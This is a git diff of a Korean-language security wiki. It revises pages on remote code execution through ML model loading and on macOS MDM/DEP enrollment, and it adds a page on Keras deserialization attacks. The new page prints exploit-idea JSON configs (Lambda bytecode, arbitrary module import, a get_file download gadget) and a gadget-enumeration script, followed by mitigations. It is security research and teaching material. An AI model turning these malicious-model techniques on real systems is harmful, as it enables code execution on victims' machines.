diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 4fdda4d83..4becf8be1 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -4,9 +4,9 @@ ## Loading models to RCE -Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양한 형식으로 공유됩니다. 이러한 모델은 개발자의 머신이나 프로덕션 시스템에 로드되어 사용될 수 있습니다. 일반적으로 모델에는 악성 코드가 포함되지 않아야 하지만, 모델 로딩 라이브러리의 취약점이나 의도된 기능으로 인해 시스템에서 임의 코드를 실행하는 데 사용될 수 있는 경우가 있습니다. +머신 러닝 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양한 형식으로 공유됩니다. 이러한 모델은 개발자의 머신이나 프로덕션 시스템에 로드되어 사용될 수 있습니다. 일반적으로 모델에는 악성 코드가 포함되지 않아야 하지만, 모델 로딩 라이브러리의 취약점으로 인해 의도된 기능으로 또는 임의의 코드를 시스템에서 실행하는 데 사용될 수 있는 경우가 있습니다. -이 글을 작성할 당시 이러한 유형의 취약점 몇 가지 예시는 다음과 같습니다: +이 글을 작성할 당시 이러한 유형의 취약점의 몇 가지 예는 다음과 같습니다: | **Framework / Tool** | **Vulnerability (CVE if available)** | **RCE Vector** | **References** | |-----------------------------|------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------| @@ -15,15 +15,15 @@ Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양 | **TensorFlow/Keras** | **CVE-2021-37678** (unsafe YAML)
**CVE-2024-3660** (Keras Lambda) | YAML에서 모델 로딩 시 `yaml.unsafe_load` 사용 (코드 실행)
**Lambda** 레이어로 모델 로딩 시 임의의 Python 코드 실행 | | | TensorFlow (TFLite) | **CVE-2022-23559** (TFLite parsing) | 조작된 `.tflite` 모델이 정수 오버플로우를 유발 → 힙 손상 (잠재적 RCE) | | | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | `joblib.load`를 통해 모델을 로딩하면 공격자의 `__reduce__` 페이로드가 포함된 pickle이 실행됨 | | -| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` 기본값이 피클된 객체 배열을 허용 – 악성 `.npy/.npz`가 코드 실행을 유발 | | +| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *disputed* | `numpy.load` 기본값으로 피클된 객체 배열을 허용 – 악성 `.npy/.npz`가 코드 실행을 유발 | | | **ONNX / ONNX Runtime** | **CVE-2022-25882** (dir traversal)
**CVE-2024-5187** (tar traversal) | ONNX 모델의 외부 가중치 경로가 디렉토리를 탈출할 수 있음 (임의 파일 읽기)
악성 ONNX 모델 tar가 임의 파일을 덮어쓸 수 있음 (RCE로 이어짐) | | -| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | 사용자 정의 연산자가 있는 모델은 공격자의 네이티브 코드를 로딩해야 함; 복잡한 모델 그래프가 논리를 악용하여 의도하지 않은 계산을 실행함 | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`이 활성화된 모델 로드 API를 사용하면 상대 경로 탐색이 가능하여 파일을 쓸 수 있음 (예: RCE를 위한 `.bashrc` 덮어쓰기) | | +| ONNX Runtime (design risk) | *(No CVE)* ONNX custom ops / control flow | 사용자 정의 연산자가 있는 모델은 공격자의 네이티브 코드를 로딩해야 함; 복잡한 모델 그래프가 논리를 남용하여 의도하지 않은 계산을 실행함 | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (path traversal) | `--model-control`이 활성화된 모델 로드 API를 사용하면 상대 경로 탐색을 통해 파일을 쓸 수 있음 (예: RCE를 위한 `.bashrc` 덮어쓰기) | | | **GGML (GGUF format)** | **CVE-2024-25664 … 25668** (multiple heap overflows) | 잘못된 GGUF 모델 파일이 파서에서 힙 버퍼 오버플로우를 유발하여 피해 시스템에서 임의 코드 실행을 가능하게 함 | | -| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 악성 HDF5 (`.h5`) 모델이 Lambda 레이어 코드를 포함하고 있어 로딩 시 여전히 실행됨 (Keras safe_mode는 구형 포맷을 커버하지 않음 – “다운그레이드 공격”) | | -| **Others** (general) | *Design flaw* – Pickle serialization | 많은 ML 도구 (예: pickle 기반 모델 형식, Python `pickle.load`)는 완화되지 않는 한 모델 파일에 포함된 임의 코드를 실행함 | | +| **Keras (older formats)** | *(No new CVE)* Legacy Keras H5 model | 악성 HDF5 (`.h5`) 모델이 Lambda 레이어 코드를 포함하고 있어 로딩 시 여전히 실행됨 (Keras safe_mode는 구 형식을 커버하지 않음 – “다운그레이드 공격”) | | +| **Others** (general) | *Design flaw* – Pickle serialization | 많은 ML 도구 (예: 피클 기반 모델 형식, Python `pickle.load`)는 완화되지 않는 한 모델 파일에 포함된 임의 코드를 실행함 | | -또한, [PyTorch](https://github.com/pytorch/pytorch/security)에서 사용되는 것과 같은 Python pickle 기반 모델은 `weights_only=True`로 로드되지 않으면 시스템에서 임의 코드를 실행하는 데 사용될 수 있습니다. 따라서, 테이블에 나열되지 않은 경우에도 모든 pickle 기반 모델은 이러한 유형의 공격에 특히 취약할 수 있습니다. +또한, [PyTorch](https://github.com/pytorch/pytorch/security)에서 사용되는 것과 같은 Python pickle 기반 모델은 `weights_only=True`로 로드되지 않으면 시스템에서 임의 코드를 실행하는 데 사용될 수 있습니다. 따라서 테이블에 나열되지 않은 경우에도 모든 pickle 기반 모델은 이러한 유형의 공격에 특히 취약할 수 있습니다. ### 🆕 InvokeAI RCE via `torch.load` (CVE-2024-12029) @@ -33,11 +33,11 @@ Machine Learning 모델은 일반적으로 ONNX, TensorFlow, PyTorch 등 다양 ```python checkpoint = torch.load(path, map_location=torch.device("meta")) ``` -When the supplied file is a **PyTorch checkpoint (`*.ckpt`)**, `torch.load` performs a **pickle deserialization**. Because the content comes directly from the user-controlled URL, an attacker can embed a malicious object with a custom `__reduce__` method inside the checkpoint; the method is executed **during deserialization**, leading to **remote code execution (RCE)** on the InvokeAI server. +제공된 파일이 **PyTorch 체크포인트 (`*.ckpt`)**인 경우, `torch.load`는 **픽클 역직렬화**를 수행합니다. 콘텐츠가 사용자 제어 URL에서 직접 오기 때문에, 공격자는 체크포인트 내부에 사용자 정의 `__reduce__` 메서드를 가진 악성 객체를 삽입할 수 있습니다. 이 메서드는 **역직렬화** 중에 실행되어 **원격 코드 실행 (RCE)**을 InvokeAI 서버에서 유발합니다. -The vulnerability was assigned **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). +이 취약점은 **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %)로 할당되었습니다. -#### Exploitation walk-through +#### 악용 절차 1. 악성 체크포인트 생성: ```python @@ -87,7 +87,7 @@ timeout=5, --- -리버스 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예: +역방향 프록시 뒤에서 이전 InvokeAI 버전을 계속 실행해야 하는 경우의 임시 완화 조치 예: ```nginx location /api/v2/models/install { deny all; # block direct Internet access @@ -161,6 +161,14 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` +### Deep-dive: Keras .keras deserialization and gadget hunting + +For a focused guide on .keras internals, Lambda-layer RCE, the arbitrary import issue in ≤ 3.8, and post-fix gadget discovery inside the allowlist, see: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + ## References - [OffSec 블로그 – "CVE-2024-12029 – InvokeAI 신뢰할 수 없는 데이터의 역직렬화"](https://www.offsec.com/blog/cve-2024-12029/) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index 72a4977da..ad1a1799e 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -6,6 +6,7 @@ - [**Pyscript 해킹 기법**](pyscript.md) - [**Python 역직렬화**](../../pentesting-web/deserialization/README.md) +- [**Keras 모델 역직렬화 RCE 및 가젯 탐색**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**Python 샌드박스를 우회하는 기법**](bypass-python-sandboxes/README.md) - [**기본 Python 웹 요청 구문**](web-requests.md) - [**기본 Python 구문 및 라이브러리**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..0625657ac --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras 모델 역직렬화 RCE 및 가젯 헌팅 + +{{#include ../../banners/hacktricks-training.md}} + +이 페이지는 Keras 모델 역직렬화 파이프라인에 대한 실용적인 공격 기법을 요약하고, 네이티브 .keras 형식의 내부 구조와 공격 표면을 설명하며, 모델 파일 취약점(MFV) 및 수정 후 가젯을 찾기 위한 연구자 도구 키트를 제공합니다. + +## .keras 모델 형식 내부 구조 + +.keras 파일은 최소한 다음을 포함하는 ZIP 아카이브입니다: +- metadata.json – 일반 정보 (예: Keras 버전) +- config.json – 모델 아키텍처 (주요 공격 표면) +- model.weights.h5 – HDF5 형식의 가중치 + +config.json은 재귀적 역직렬화를 주도합니다: Keras는 모듈을 가져오고, 클래스/함수를 해결하며, 공격자가 제어하는 사전에서 레이어/객체를 재구성합니다. + +Dense 레이어 객체에 대한 예제 코드 조각: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialization performs: +- 모듈 가져오기 및 모듈/class_name 키에서 기호 해석 +- 공격자가 제어하는 kwargs로 from_config(...) 또는 생성자 호출 +- 중첩 객체(활성화, 초기화기, 제약 조건 등)로의 재귀 + +역사적으로, 이는 config.json을 작성하는 공격자에게 세 가지 원시 기능을 노출했습니다: +- 어떤 모듈이 가져오는지 제어 +- 어떤 클래스/함수가 해석되는지 제어 +- 생성자/from_config에 전달되는 kwargs 제어 + +## CVE-2024-3660 – Lambda-layer bytecode RCE + +Root cause: +- Lambda.from_config()는 python_utils.func_load(...)를 사용하여 공격자 바이트에 대해 base64 디코딩하고 marshal.loads()를 호출합니다; Python 언마샬링은 코드를 실행할 수 있습니다. + +Exploit idea (simplified payload in config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigation: +- Keras는 기본적으로 safe_mode=True를 적용합니다. 사용자가 명시적으로 safe_mode=False로 설정하지 않는 한 Lambda에서 직렬화된 Python 함수는 차단됩니다. + +Notes: +- 레거시 형식(구형 HDF5 저장) 또는 구형 코드베이스는 현대적인 검사를 적용하지 않을 수 있으므로, 피해자가 구형 로더를 사용할 때 "다운그레이드" 스타일 공격이 여전히 적용될 수 있습니다. + +## CVE-2025-1550 – Keras ≤ 3.8에서 임의 모듈 가져오기 + +Root cause: +- _retrieve_class_or_fn은 config.json에서 공격자가 제어하는 모듈 문자열을 사용하여 제한 없는 importlib.import_module()를 사용했습니다. +- Impact: 설치된 모듈(또는 sys.path에 있는 공격자가 심은 모듈)의 임의 가져오기. 가져오기 시 코드가 실행되고, 그 후 공격자 kwargs로 객체가 생성됩니다. + +Exploit idea: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +보안 개선 사항 (Keras ≥ 3.9): +- 모듈 허용 목록: 공식 생태계 모듈로 제한된 가져오기: keras, keras_hub, keras_cv, keras_nlp +- 안전 모드 기본값: safe_mode=True는 안전하지 않은 Lambda 직렬화 함수 로딩을 차단합니다. +- 기본 유형 검사: 역직렬화된 객체는 예상 유형과 일치해야 합니다. + +## 허용 목록 내의 포스트 수정 가젯 표면 + +허용 목록과 안전 모드가 있더라도, 허용된 Keras 호출 가능 항목 사이에 넓은 표면이 남아 있습니다. 예를 들어, keras.utils.get_file은 임의의 URL을 사용자 선택 위치로 다운로드할 수 있습니다. + +허용된 함수를 참조하는 Lambda를 통한 가젯 (직렬화되지 않은 Python 바이트코드): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +중요한 제한 사항: +- Lambda.call()은 대상 호출 가능 항목을 호출할 때 입력 텐서를 첫 번째 위치 인수로 추가합니다. 선택된 가젯은 추가 위치 인수를 허용해야 하며 (*args/**kwargs를 수용해야 함) 이는 어떤 함수가 유효한지를 제한합니다. + +허용된 가젯의 잠재적 영향: +- 임의 다운로드/쓰기 (경로 심기, 구성 오염) +- 환경에 따라 네트워크 콜백/SSRF 유사 효과 +- 작성된 경로가 나중에 가져오거나 실행되거나 PYTHONPATH에 추가되거나, 쓰기 가능한 실행-쓰기 위치가 존재하는 경우 코드 실행으로 연결될 수 있음 + +## 연구자 도구 키트 + +1) 허용된 모듈에서 체계적인 가젯 발견 + +keras, keras_nlp, keras_cv, keras_hub 전반에 걸쳐 후보 호출 가능 항목을 나열하고 파일/네트워크/프로세스/환경 부작용이 있는 항목을 우선시합니다. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) 직접 역직렬화 테스트 (.keras 아카이브 필요 없음) + +제작된 dict를 Keras 역직렬화기에 직접 입력하여 허용된 매개변수를 학습하고 부작용을 관찰합니다. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) 크로스 버전 프로빙 및 포맷 + +Keras는 다양한 가드레일과 포맷을 가진 여러 코드베이스/시대에 존재합니다: +- TensorFlow 내장 Keras: tensorflow/python/keras (레거시, 삭제 예정) +- tf-keras: 별도로 유지 관리 +- 멀티 백엔드 Keras 3 (공식): 네이티브 .keras 도입 + +코드베이스와 포맷(.keras vs 레거시 HDF5) 전반에 걸쳐 테스트를 반복하여 회귀 또는 누락된 가드를 발견합니다. + +## 방어적 권장 사항 + +- 모델 파일을 신뢰할 수 없는 입력으로 취급합니다. 신뢰할 수 있는 출처에서만 모델을 로드합니다. +- Keras를 최신 상태로 유지합니다; allowlisting 및 타입 검사를 활용하기 위해 Keras ≥ 3.9를 사용합니다. +- 파일을 완전히 신뢰하지 않는 한 모델을 로드할 때 safe_mode=False로 설정하지 마십시오. +- 네트워크 이탈이 없고 파일 시스템 접근이 제한된 샌드박스화된 최소 권한 환경에서 역직렬화를 실행하는 것을 고려하십시오. +- 가능한 경우 모델 출처 및 무결성 검사를 위한 allowlist/서명을 시행합니다. + +## 참고 문헌 + +- [Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Added checks to serialization](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda deserialization RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Keras arbitrary module import (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [huntr report – arbitrary import #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [huntr report – arbitrary import #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md index e94e6d7ba..b87c35258 100644 --- a/src/macos-hardening/macos-red-teaming/macos-mdm/README.md +++ b/src/macos-hardening/macos-red-teaming/macos-mdm/README.md @@ -11,7 +11,7 @@ ### **MDM (모바일 장치 관리) 개요** -[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에서는 특수 기능, API 및 관행의 집합이 포함됩니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다: +[모바일 장치 관리](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM)는 스마트폰, 노트북 및 태블릿과 같은 다양한 최종 사용자 장치를 관리하는 데 사용됩니다. 특히 Apple의 플랫폼(iOS, macOS, tvOS)에 대해, 이는 일련의 전문 기능, API 및 관행을 포함합니다. MDM의 작동은 상용 또는 오픈 소스인 호환 MDM 서버에 의존하며, [MDM 프로토콜](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf)을 지원해야 합니다. 주요 사항은 다음과 같습니다: - 장치에 대한 중앙 집중식 제어. - MDM 프로토콜을 준수하는 MDM 서버에 의존. @@ -19,7 +19,7 @@ ### **DEP (장치 등록 프로그램) 기본 사항** -Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 사항은 다음과 같습니다: +Apple에서 제공하는 [장치 등록 프로그램](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP)은 iOS, macOS 및 tvOS 장치에 대한 제로 터치 구성을 용이하게 하여 모바일 장치 관리(MDM)의 통합을 간소화합니다. DEP는 등록 프로세스를 자동화하여 장치가 최소한의 사용자 또는 관리 개입으로 즉시 작동할 수 있도록 합니다. 필수 측면은 다음과 같습니다: - 장치가 초기 활성화 시 미리 정의된 MDM 서버에 자율적으로 등록할 수 있도록 합니다. - 주로 새 장치에 유용하지만 재구성 중인 장치에도 적용 가능합니다. @@ -42,7 +42,7 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초 - Apple의 공식적인 **시스템 구성 설정/강제 적용 방법**입니다. - 여러 페이로드를 포함할 수 있는 파일 형식입니다. - 속성 목록(XML 형식)을 기반으로 합니다. -- “출처를 검증하고 무결성을 보장하며 내용을 보호하기 위해 서명 및 암호화될 수 있습니다.” 기본 사항 — 페이지 70, iOS 보안 가이드, 2018년 1월. +- “출처를 검증하고, 무결성을 보장하며, 내용을 보호하기 위해 서명 및 암호화될 수 있습니다.” 기본 사항 — 페이지 70, iOS 보안 가이드, 2018년 1월. ## 프로토콜 @@ -57,9 +57,9 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초 ### DEP - **3개의 API**: 1개는 리셀러용, 1개는 MDM 벤더용, 1개는 장치 식별용(문서화되지 않음): -- 소위 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다. -- Apple 공인 리셀러가 장치를 등록하고, 등록 상태를 확인하고, 거래 상태를 확인하는 데 사용하는 [DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html). -- 문서화되지 않은 비공식 DEP API. Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 책임이 있습니다. +- 소위 [DEP "클라우드 서비스" API](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). 이는 MDM 서버가 특정 장치와 DEP 프로파일을 연결하는 데 사용됩니다. +- [Apple 공인 리셀러가 사용하는 DEP API](https://applecareconnect.apple.com/api-docs/depuat/html/WSImpManual.html)로 장치를 등록하고, 등록 상태를 확인하며, 거래 상태를 확인합니다. +- 문서화되지 않은 비공식 DEP API. 이는 Apple 장치가 자신의 DEP 프로파일을 요청하는 데 사용됩니다. macOS에서는 `cloudconfigurationd` 바이너리가 이 API를 통해 통신하는 책임이 있습니다. - 더 현대적이고 **JSON** 기반입니다(대비 plist). - Apple은 MDM 벤더에게 **OAuth 토큰**을 부여합니다. @@ -75,7 +75,7 @@ DEP가 제공하는 등록의 용이성은 유익하지만 보안 위험을 초 ## 일련 번호 -2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는** **제조 연도**와 **주**를 나타내며, 다음 **세 자리는** **고유 식별자**를 제공하고, **마지막 네 자리는** **모델 번호**를 나타냅니다. +2010년 이후 제조된 Apple 장치는 일반적으로 **12자리 알phanumeric** 일련 번호를 가지며, **첫 세 자리는 제조 위치**를 나타내고, 다음 **두 자리는 제조 연도**와 **주**를 나타내며, 다음 **세 자리는 고유 식별자**를 제공하고, **마지막 네 자리는 모델 번호**를 나타냅니다. {{#ref}} macos-serial-number.md @@ -97,7 +97,7 @@ macos-serial-number.md ### 단계 4: DEP 체크인 - 활성화 기록 가져오기 -이 프로세스의 일부는 **사용자가 Mac을 처음 부팅할 때** (또는 완전 초기화 후) 발생합니다. +이 프로세스의 일부는 **사용자가 Mac을 처음 부팅할 때**(또는 완전 초기화 후) 발생합니다. ![](<../../../images/image (1044).png>) @@ -110,23 +110,23 @@ macos-serial-number.md - **`cloudconfigurationd`**가 XPC를 통해 구현합니다. **"설정 도우미"**(장치가 처음 부팅될 때) 또는 **`profiles`** 명령이 이 데몬에 연락하여 활성화 기록을 검색합니다. - LaunchDaemon (항상 root로 실행됨) -활성화 기록을 가져오는 과정은 **`MCTeslaConfigurationFetcher`**에 의해 수행됩니다. 이 과정은 **Absinthe**라는 암호화를 사용합니다. +활성화 기록을 가져오기 위해 **`MCTeslaConfigurationFetcher`**가 수행하는 몇 가지 단계를 따릅니다. 이 프로세스는 **Absinthe**라는 암호화를 사용합니다. 1. **인증서 검색** 1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer) 2. 인증서에서 상태 **초기화** (**`NACInit`**) -1. 다양한 장치 특정 데이터 사용(예: **`IOKit`를 통한 일련 번호**) +1. 다양한 장치 특정 데이터를 사용합니다(예: **`IOKit`를 통한 일련 번호**). 3. **세션 키 검색** 1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session) 4. 세션 설정 (**`NACKeyEstablishment`**) 5. 요청하기 1. POST [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile)로 데이터 `{ "action": "RequestProfileConfiguration", "sn": "" }` 전송 -2. JSON 페이로드는 Absinthe로 암호화됩니다 (**`NACSign`**) +2. JSON 페이로드는 Absinthe로 암호화됩니다(**`NACSign`**). 3. 모든 요청은 HTTPs를 통해 이루어지며, 내장된 루트 인증서가 사용됩니다. ![](<../../../images/image (566) (1).png>) -응답은 다음과 같은 중요한 데이터가 포함된 JSON 사전입니다: +응답은 다음과 같은 중요한 데이터를 포함하는 JSON 사전입니다: - **url**: 활성화 프로파일을 위한 MDM 벤더 호스트의 URL - **anchor-certs**: 신뢰할 수 있는 앵커로 사용되는 DER 인증서 배열 @@ -135,7 +135,7 @@ macos-serial-number.md ![](<../../../images/image (444).png>) -- **DEP 프로파일에 제공된 url**로 요청이 전송됩니다. +- **DEP 프로파일**에 제공된 **url**로 요청이 전송됩니다. - 제공된 경우 **앵커 인증서**가 **신뢰성 평가**에 사용됩니다. - 알림: **DEP 프로파일의 anchor_certs** 속성 - **요청은 장치 식별이 포함된 간단한 .plist**입니다. @@ -144,4 +144,4 @@ macos-serial-number.md - **장치 식별 인증서(APNS에서)**를 사용하여 서명됩니다. - **인증서 체인**에는 만료된 **Apple iPhone Device CA**가 포함됩니다. -![](<../../../images/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) 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